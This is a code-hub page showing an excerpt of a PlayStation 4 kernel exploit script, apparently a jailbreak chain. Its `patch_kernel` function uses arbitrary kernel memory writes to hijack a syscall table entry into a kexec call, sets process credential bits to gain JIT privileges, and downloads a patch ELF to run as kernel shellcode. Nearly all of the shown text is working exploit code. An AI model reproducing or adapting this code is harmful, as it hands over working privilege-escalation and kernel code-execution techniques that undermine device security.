MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / patch_kernel

Function patch_kernel

g2all/700/lapse.js:1534–1649  ·  view source on GitHub ↗
(kbase, kmem, p_ucred, restore_info)

Source from the content-addressed store, hash-verified

1532
1533 mcnt = kmem.read32(main_sock);
1534 wcnt = kmem.read32(worker_sock);
1535 pfcnt = kmem.read32(pipe_file.add(0x28));
1536 log(`cnts ${mcnt} ${wcnt} ${pfcnt}`);
1537
1538 return [kbase, kmem, p_ucred, [kpipe, pipe_save, pktinfo_p, w_pktinfo]];
1539}
1540
1541// FUNCTIONS FOR STAGE: PATCH KERNEL
1542
1543async function get_patches(url) {
1544 const response = await fetch(url);
1545 if (!response.ok) {
1546 throw Error(`network response was not OK, status: ${response.status}\nfailed to fetch: ${url}`);
1547 }
1548 return response.arrayBuffer();
1549}
1550
1551// Using JIT to load our own shellcode code here avoids the need to preform
1552// some trick toggle the CR0.WP bit. We can just toggle it easily within our
1553// shellcode.
1554async function patch_kernel(kbase, kmem, p_ucred, restore_info) {
1555 if (!is_ps4) {
1556 throw RangeError("ps5 kernel patching unsupported");
1557 }
1558 if (!(0x700 <= version && version < 0x900)) {
1559 throw RangeError("kernel patching unsupported");
1560 }
1561
1562 log("change sys_aio_submit() to sys_kexec()");
1563 const sysent_661 = kbase.add(off_sysent_661);
1564 const sysent_661_save = new Buffer(0x30);
1565
1566 for (let off = 0; off < sysent_661_save.size; off += 8) {
1567 sysent_661_save.write64(off, kmem.read64(sysent_661.add(off)));
1568 }
1569
1570 log(`sysent[661] save addr: ${sysent_661_save.addr}`);
1571
1572 kmem.write32(sysent_661, 6);
1573 kmem.write64(sysent_661.add(8), kbase.add(jmp_rsi));
1574 kmem.write32(sysent_661.add(0x2c), 1);
1575
1576 log("set the bits for JIT privs");
1577 kmem.write64(p_ucred.add(0x60), -1);
1578 kmem.write64(p_ucred.add(0x68), -1);
1579
1580 const buf = await get_patches(patch_elf_loc);
1581 const patches = new View1(await buf, 0x1000);
1582 let map_size = patches.size;
1583 const max_size = 0x10000000;
1584 if (map_size > max_size) {
1585 die(`patch file too large (>${max_size}): ${map_size}`);
1586 }
1587 if (map_size === 0) {
1588 die("patch file size is zero");
1589 }
1590 log(`kpatch size: ${map_size} bytes`);
1591 map_size = (map_size + page_size) & -page_size;

Callers 1

kexploitFunction · 0.70

Calls 13

logFunction · 0.90
hexdumpFunction · 0.90
dieFunction · 0.90
get_patchesFunction · 0.70
sysiFunction · 0.70
sys_voidFunction · 0.70
addMethod · 0.45
write64Method · 0.45
read64Method · 0.45
write32Method · 0.45
syspMethod · 0.45
neMethod · 0.45

Tested by

no test coverage detected